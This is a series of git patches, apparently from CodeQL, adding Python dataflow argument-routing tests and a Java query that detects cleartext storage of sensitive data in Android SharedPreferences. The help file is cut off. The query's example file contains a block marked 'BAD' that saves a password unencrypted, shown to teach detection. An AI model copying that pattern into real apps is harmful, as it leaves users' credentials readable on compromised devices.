classes.py:799:15:799:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:808 -> ControlFlowNode for other" | +| classes.py:800:15:800:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_lshift, l:806 -> ControlFlowNode for self" | +| classes.py:814:15:814:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:823 -> ControlFlowNode for other" | +| classes.py:815:15:815:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_rshift, l:821 -> ControlFlowNode for self" | +| classes.py:829:15:829:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:838 -> ControlFlowNode for other" | +| classes.py:830:15:830:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_and, l:836 -> ControlFlowNode for self" | +| classes.py:844:15:844:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:853 -> ControlFlowNode for other" | +| classes.py:845:15:845:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_xor, l:851 -> ControlFlowNode for self" | +| classes.py:859:15:859:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:868 -> ControlFlowNode for other" | +| classes.py:860:15:860:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_or, l:866 -> ControlFlowNode for self" | diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql new file mode 100644 index 00000000000..5b8e80cad2a --- /dev/null +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql @@ -0,0 +1,83 @@ +import python +import semmle.python.dataflow.new.DataFlow +private import semmle.python.dataflow.new.internal.DataFlowPrivate as DataFlowPrivate +import experimental.dataflow.FlowTestUtil.FlowTest + +class Argument1RoutingTest extends FlowTest { + Argument1RoutingTest() { this = "Argument1RoutingTest" } + + override string flowTag() { result = "arg1" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument1RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument1RoutingConfig extends DataFlow::Configuration { + Argument1RoutingConfig() { this = "Argument1RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg1" + or + exists(AssignmentDefinition def, DataFlowPrivate::DataFlowCall call | + def.getVariable() = node.(DataFlow::EssaNode).getVar() and + def.getValue() = call.getNode() and + call.getNode().(CallNode).getFunction().(NameNode).getId().matches("With\\_%") + ) and + node.(DataFlow::EssaNode).getVar().getName().matches("with\\_%") + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK1" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} + +class Argument2RoutingTest extends FlowTest { + Argument2RoutingTest() { this = "Argument2RoutingTest" } + + override string flowTag() { result = "arg2" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument2RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument2RoutingConfig extends DataFlow::Configuration { + Argument2RoutingConfig() { this = "Argument2RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg2" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK2" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} From e468d49b1905470a8e03a01a21ce0b838db546cf Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Thu, 12 Nov 2020 23:07:01 +0100 Subject: [PATCH 0011/1241] Python: routing tests 3-7 and some annotations --- .../dataflow/coverage/argumentPassing.py | 16 +- .../coverage/argumentRoutingTest.expected | 1 + .../dataflow/coverage/argumentRoutingTest.ql | 180 ++++++++++++++++++ 3 files changed, 189 insertions(+), 8 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py index 38f3123fab5..7f1a832bf61 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentPassing.py +++ b/python/ql/test/experimental/dataflow/coverage/argumentPassing.py @@ -74,12 +74,12 @@ def argument_passing( ): SINK1(a) #$ arg1="ControlFlowNode for arg1, l:89 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:94 -> ControlFlowNode for a" SINK2(b) #$ arg2="ControlFlowNode for arg2, l:94 -> ControlFlowNode for b" MISSING:arg2="ControlFlowNode for arg2, l:89 -> ControlFlowNode for b" - SINK3(c) - SINK4(d) - SINK5(e) - SINK6(f) + SINK3(c) #$ arg3="ControlFlowNode for arg3, l:94 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:89 -> ControlFlowNode for c" + SINK4(d) #$ MISSING: arg4="ControlFlowNode for arg4, l:89 -> ControlFlowNode for d" + SINK5(e) #$ MISSING: arg5="ControlFlowNode for arg5, l:89 -> ControlFlowNode for e" + SINK6(f) #$ MISSING: arg6="ControlFlowNode for arg6, l:89 -> ControlFlowNode for f" try: - SINK7(g["g"]) + SINK7(g["g"]) #$ arg7="ControlFlowNode for arg7, l:89 -> ControlFlowNode for Subscript" except: print("OK") @@ -109,7 +109,7 @@ def test_pos_only(): def with_multiple_kw_args(a, b, c): SINK1(a) #$ arg1="ControlFlowNode for arg1, l:117 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:118 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:119 -> ControlFlowNode for a" arg1="ControlFlowNode for arg1, l:120 -> ControlFlowNode for a" SINK2(b) #$ arg2="ControlFlowNode for arg2, l:117 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:120 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:118 -> ControlFlowNode for b" arg2="ControlFlowNode for arg2, l:119 -> ControlFlowNode for b" - SINK3(c) + SINK3(c) #$ arg3="ControlFlowNode for arg3, l:117 -> ControlFlowNode for c" arg3="ControlFlowNode for arg3, l:119 -> ControlFlowNode for c" arg3="ControlFlowNode for arg3, l:120 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:118 -> ControlFlowNode for c" @expects(9) @@ -123,7 +123,7 @@ def test_multiple_kw_args(): def with_default_arguments(a=arg1, b=arg2, c=arg3): SINK1(a) #$ arg1="ControlFlowNode for arg1, l:132 -> ControlFlowNode for a" MISSING:arg1="ControlFlowNode for arg1, l:123 -> ControlFlowNode for a" SINK2(b) #$ arg2="ControlFlowNode for arg2, l:133 -> ControlFlowNode for b" MISSING: arg2="ControlFlowNode for arg2, l:123 -> ControlFlowNode for b" - SINK3(c) + SINK3(c) #$ arg3="ControlFlowNode for arg3, l:134 -> ControlFlowNode for c" MISSING: arg3="ControlFlowNode for arg3, l:123 -> ControlFlowNode for c" @expects(12) @@ -152,7 +152,7 @@ def grab_bar_baz(bar, **kwargs): def grab_baz(baz): - SINK3(baz) + SINK3(baz) #$ arg3="ControlFlowNode for arg3, l:160 -> ControlFlowNode for baz" @expects(4) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected index 5dfe0963387..5624d283462 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected @@ -1,5 +1,6 @@ | classes.py:556:15:556:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:565 -> ControlFlowNode for key" | | classes.py:557:15:557:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_getitem, l:563 -> ControlFlowNode for self" | +| classes.py:571:15:571:19 | ControlFlowNode for value | Unexpected result: arg3="ControlFlowNode for arg3, l:581 -> ControlFlowNode for value" | | classes.py:572:15:572:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:581 -> ControlFlowNode for key" | | classes.py:573:15:573:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_setitem, l:578 -> ControlFlowNode for self" | | classes.py:587:15:587:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:595 -> ControlFlowNode for key" | diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql index 5b8e80cad2a..00cc3a49656 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.ql @@ -81,3 +81,183 @@ class Argument2RoutingConfig extends DataFlow::Configuration { */ override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } } + +class Argument3RoutingTest extends FlowTest { + Argument3RoutingTest() { this = "Argument3RoutingTest" } + + override string flowTag() { result = "arg3" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument3RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument3RoutingConfig extends DataFlow::Configuration { + Argument3RoutingConfig() { this = "Argument3RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg3" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK3" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} + +class Argument4RoutingTest extends FlowTest { + Argument4RoutingTest() { this = "Argument4RoutingTest" } + + override string flowTag() { result = "arg4" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument4RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument4RoutingConfig extends DataFlow::Configuration { + Argument4RoutingConfig() { this = "Argument4RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg4" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK4" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} + +class Argument5RoutingTest extends FlowTest { + Argument5RoutingTest() { this = "Argument5RoutingTest" } + + override string flowTag() { result = "arg5" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument5RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument5RoutingConfig extends DataFlow::Configuration { + Argument5RoutingConfig() { this = "Argument5RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg5" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK5" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} + +class Argument6RoutingTest extends FlowTest { + Argument6RoutingTest() { this = "Argument6RoutingTest" } + + override string flowTag() { result = "arg6" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument6RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument6RoutingConfig extends DataFlow::Configuration { + Argument6RoutingConfig() { this = "Argument6RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg6" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK6" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} + +class Argument7RoutingTest extends FlowTest { + Argument7RoutingTest() { this = "Argument7RoutingTest" } + + override string flowTag() { result = "arg7" } + + override predicate relevantFlow(DataFlow::Node source, DataFlow::Node sink) { + exists(Argument7RoutingConfig cfg | cfg.hasFlow(source, sink)) + } +} + +/** + * A configuration to check routing of arguments through magic methods. + */ +class Argument7RoutingConfig extends DataFlow::Configuration { + Argument7RoutingConfig() { this = "Argument7RoutingConfig" } + + override predicate isSource(DataFlow::Node node) { + node.(DataFlow::CfgNode).getNode().(NameNode).getId() = "arg7" + } + + override predicate isSink(DataFlow::Node node) { + exists(CallNode call | + call.getFunction().(NameNode).getId() = "SINK7" and + node.(DataFlow::CfgNode).getNode() = call.getAnArg() + ) + } + + /** + * We want to be able to use `arg` in a sequence of calls such as `func(kw=arg); ... ; func(arg)`. + * Use-use flow lets the argument to the first call reach the sink inside the second call, + * making it seem like we handle all cases even if we only handle the last one. + * We make the test honest by preventing flow into source nodes. + */ + override predicate isBarrierIn(DataFlow::Node node) { isSource(node) } +} From dc91406ff0c6073c9b153ac2ff901c0c5a8cf0fe Mon Sep 17 00:00:00 2001 From: Rasmus Lerchedahl Petersen Date: Fri, 13 Nov 2020 09:22:57 +0100 Subject: [PATCH 0012/1241] Python: make `.expected` empty still need to annotate missing results --- .../coverage/argumentRoutingTest.expected | 33 ---------- .../experimental/dataflow/coverage/classes.py | 66 +++++++++---------- 2 files changed, 33 insertions(+), 66 deletions(-) diff --git a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected index 5624d283462..e69de29bb2d 100644 --- a/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected +++ b/python/ql/test/experimental/dataflow/coverage/argumentRoutingTest.expected @@ -1,33 +0,0 @@ -| classes.py:556:15:556:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:565 -> ControlFlowNode for key" | -| classes.py:557:15:557:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_getitem, l:563 -> ControlFlowNode for self" | -| classes.py:571:15:571:19 | ControlFlowNode for value | Unexpected result: arg3="ControlFlowNode for arg3, l:581 -> ControlFlowNode for value" | -| classes.py:572:15:572:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:581 -> ControlFlowNode for key" | -| classes.py:573:15:573:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_setitem, l:578 -> ControlFlowNode for self" | -| classes.py:587:15:587:17 | ControlFlowNode for key | Unexpected result: arg2="ControlFlowNode for arg2, l:595 -> ControlFlowNode for key" | -| classes.py:588:15:588:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_delitem, l:593 -> ControlFlowNode for self" | -| classes.py:658:15:658:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:667 -> ControlFlowNode for other" | -| classes.py:659:15:659:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_add, l:665 -> ControlFlowNode for self" | -| classes.py:673:15:673:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:682 -> ControlFlowNode for other" | -| classes.py:674:15:674:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_sub, l:680 -> ControlFlowNode for self" | -| classes.py:688:15:688:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:697 -> ControlFlowNode for other" | -| classes.py:689:15:689:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_mul, l:695 -> ControlFlowNode for self" | -| classes.py:703:15:703:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:712 -> ControlFlowNode for other" | -| classes.py:704:15:704:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_matmul, l:710 -> ControlFlowNode for self" | -| classes.py:718:15:718:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:727 -> ControlFlowNode for other" | -| classes.py:719:15:719:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_truediv, l:725 -> ControlFlowNode for self" | -| classes.py:733:15:733:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:742 -> ControlFlowNode for other" | -| classes.py:734:15:734:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_floordiv, l:740 -> ControlFlowNode for self" | -| classes.py:748:15:748:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:757 -> ControlFlowNode for other" | -| classes.py:749:15:749:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_mod, l:755 -> ControlFlowNode for self" | -| classes.py:778:15:778:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:793 -> ControlFlowNode for other" | -| classes.py:779:15:779:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_pow, l:791 -> ControlFlowNode for self" | -| classes.py:799:15:799:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:808 -> ControlFlowNode for other" | -| classes.py:800:15:800:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_lshift, l:806 -> ControlFlowNode for self" | -| classes.py:814:15:814:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:823 -> ControlFlowNode for other" | -| classes.py:815:15:815:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_rshift, l:821 -> ControlFlowNode for self" | -| classes.py:829:15:829:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:838 -> ControlFlowNode for other" | -| classes.py:830:15:830:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_and, l:836 -> ControlFlowNode for self" | -| classes.py:844:15:844:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:853 -> ControlFlowNode for other" | -| classes.py:845:15:845:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_xor, l:851 -> ControlFlowNode for self" | -| classes.py:859:15:859:19 | ControlFlowNode for other | Unexpected result: arg2="ControlFlowNode for arg2, l:868 -> ControlFlowNode for other" | -| classes.py:860:15:860:18 | ControlFlowNode for self | Unexpected result: arg1="SSA variable with_or, l:866 -> ControlFlowNode for self" | diff --git a/python/ql/test/experimental/dataflow/coverage/classes.py b/python/ql/test/experimental/dataflow/coverage/classes.py index 1977998ab64..613019ce4b8 100644 --- a/python/ql/test/experimental/dataflow/coverage/classes.py +++ b/python/ql/test/experimental/dataflow/coverage/classes.py @@ -553,8 +553,8 @@ def test_length_hint(): # object.__getitem__(self, key) class With_getitem: def __getitem__(self, key): - SINK2(key) - SINK1(self) + SINK2(key) #$ arg2="ControlFlowNode for arg2, l:565 -> ControlFlowNode for key" + SINK1(self) #$ arg1="SSA variable with_getitem, l:563 -> ControlFlowNode for self" OK() return "" @@ -568,9 +568,9 @@ def test_getitem(): # object.__setitem__(self, key, value) class With_setitem: def __setitem__(self, key, value): - SINK3(value) - SINK2(key) - SINK1(self) + SINK3(value) #$ arg3="ControlFlowNode for arg3, l:581 -> ControlFlowNode for value" + SINK2(key) #$ arg2="ControlFlowNode for arg2, l:581 -> ControlFlowNode for key" + SINK1(self) #$ arg1="SSA variable with_setitem, l:578 -> ControlFlowNode for self" OK() @@ -584,8 +584,8 @@ def test_setitem(): # object.__delitem__(self, key) class With_delitem: def __delitem__(self, key): - SINK2(key) - SINK1(self) + SINK2(key) #$ arg2="ControlFlowNode for arg2, l:595 -> ControlFlowNode for key" + SINK1(self) #$ arg1="SSA variable with_delitem, l:593 -> ControlFlowNode for self" OK() @@ -655,8 +655,8 @@ def test_contains(): # object.__add__(self, other) class With_add: def __add__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:667 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_add, l:665 -> ControlFlowNode for self" OK() return self @@ -670,8 +670,8 @@ def test_add(): # object.__sub__(self, other) class With_sub: def __sub__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:682 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_sub, l:680 -> ControlFlowNode for self" OK() return self @@ -685,8 +685,8 @@ def test_sub(): # object.__mul__(self, other) class With_mul: def __mul__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:697 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_mul, l:695 -> ControlFlowNode for self" OK() return self @@ -700,8 +700,8 @@ def test_mul(): # object.__matmul__(self, other) class With_matmul: def __matmul__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:712 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_matmul, l:710 -> ControlFlowNode for self" OK() return self @@ -715,8 +715,8 @@ def test_matmul(): # object.__truediv__(self, other) class With_truediv: def __truediv__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:727 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_truediv, l:725 -> ControlFlowNode for self" OK() return self @@ -730,8 +730,8 @@ def test_truediv(): # object.__floordiv__(self, other) class With_floordiv: def __floordiv__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:742 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_floordiv, l:740 -> ControlFlowNode for self" OK() return self @@ -745,8 +745,8 @@ def test_floordiv(): # object.__mod__(self, other) class With_mod: def __mod__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:757 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_mod, l:755 -> ControlFlowNode for self" OK() return self @@ -775,8 +775,8 @@ def test_divmod(): # object.__pow__(self, other[, modulo]) class With_pow: def __pow__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:793 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_pow, l:791 -> ControlFlowNode for self" OK() return self @@ -796,8 +796,8 @@ def test_pow_op(): # object.__lshift__(self, other) class With_lshift: def __lshift__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:808 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_lshift, l:806 -> ControlFlowNode for self" OK() return self @@ -811,8 +811,8 @@ def test_lshift(): # object.__rshift__(self, other) class With_rshift: def __rshift__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:823 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_rshift, l:821 -> ControlFlowNode for self" OK() return self @@ -826,8 +826,8 @@ def test_rshift(): # object.__and__(self, other) class With_and: def __and__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:838 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_and, l:836 -> ControlFlowNode for self" OK() return self @@ -841,8 +841,8 @@ def test_and(): # object.__xor__(self, other) class With_xor: def __xor__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:853 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_xor, l:851 -> ControlFlowNode for self" OK() return self @@ -856,8 +856,8 @@ def test_xor(): # object.__or__(self, other) class With_or: def __or__(self, other): - SINK2(other) - SINK1(self) + SINK2(other) #$ arg2="ControlFlowNode for arg2, l:868 -> ControlFlowNode for other" + SINK1(self) #$ arg1="SSA variable with_or, l:866 -> ControlFlowNode for self" OK() return self From 0bd6255c41a79903219408aba71f9fe3335326ba Mon Sep 17 00:00:00 2001 From: luchua-bc Date: Mon, 16 Nov 2020 17:23:01 +0000 Subject: [PATCH 0013/1241] Query for cleartext storage using Android SharedPreferences --- .../CWE-312/ClearTextStorageSharedPrefs.java | 39 ++ .../CWE-312/ClearTextStorageSharedPrefs.qhelp | 40 ++ .../CWE-312/ClearTextStorageSharedPrefs.ql | 22 ++ .../Security/CWE/CWE-312/SensitiveStorage.qll | 74 ++++ .../frameworks/android/SharedPreferences.qll | 52 +++ .../ClearTextStorageSharedPrefs.expected | 1 + .../CWE-312/ClearTextStorageSharedPrefs.java | 54 +++ .../CWE-312/ClearTextStorageSharedPrefs.qlref | 1 + .../query-tests/security/CWE-312/options | 1 + .../android/content/Context.java | 123 +++++- .../android/content/SharedPreferences.java | 362 ++++++++++++++++++ .../crypto/EncryptedSharedPreferences.java | 171 +++++++++ .../androidx/security/crypto/MasterKey.java | 191 +++++++++ 13 files changed, 1120 insertions(+), 11 deletions(-) create mode 100644 java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java create mode 100644 java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp create mode 100644 java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql create mode 100644 java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref create mode 100644 java/ql/test/experimental/query-tests/security/CWE-312/options create mode 100644 java/ql/test/stubs/google-android-9.0.0/android/content/SharedPreferences.java create mode 100644 java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java create mode 100644 java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/MasterKey.java diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java new file mode 100644 index 00000000000..259ee23bf81 --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.java @@ -0,0 +1,39 @@ +public void testSetSharedPrefs(Context context, String name, String password) +{ + { + // BAD - save sensitive information in cleartext + SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); + Editor editor = sharedPrefs.edit(); + editor.putString("name", name); + editor.putString("password", password); + editor.commit(); + } + + { + // GOOD - save sensitive information in encrypted format + SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); + Editor editor = sharedPrefs.edit(); + editor.putString("name", encrypt(name)); + editor.putString("password", encrypt(password)); + editor.commit(); + } + + { + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); + + SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); + + SharedPreferences.Editor editor = sharedPreferences.edit(); + editor.putString("name", name); + editor.putString("password", password); + editor.commit(); + } +} diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp new file mode 100644 index 00000000000..f040ed4132d --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.qhelp @@ -0,0 +1,40 @@ + + + +

+ SharedPreferences is an Android API that stores application preferences using simple sets of data values. Almost every Android application uses this API. It allows to easily save, alter, and retrieve the values stored in SharedPreferences. However, sensitive information shall not be saved in cleartext. Otherwise it can be accessed by any process or user on rooted devices, or can be disclosed through chained vulnerabilities e.g. unexpected access to its private storage through exposed components. +

+
+ + +

+ Use the EncryptedSharedPreferences API or other encryption algorithms for storing sensitive information. +

+
+ + +

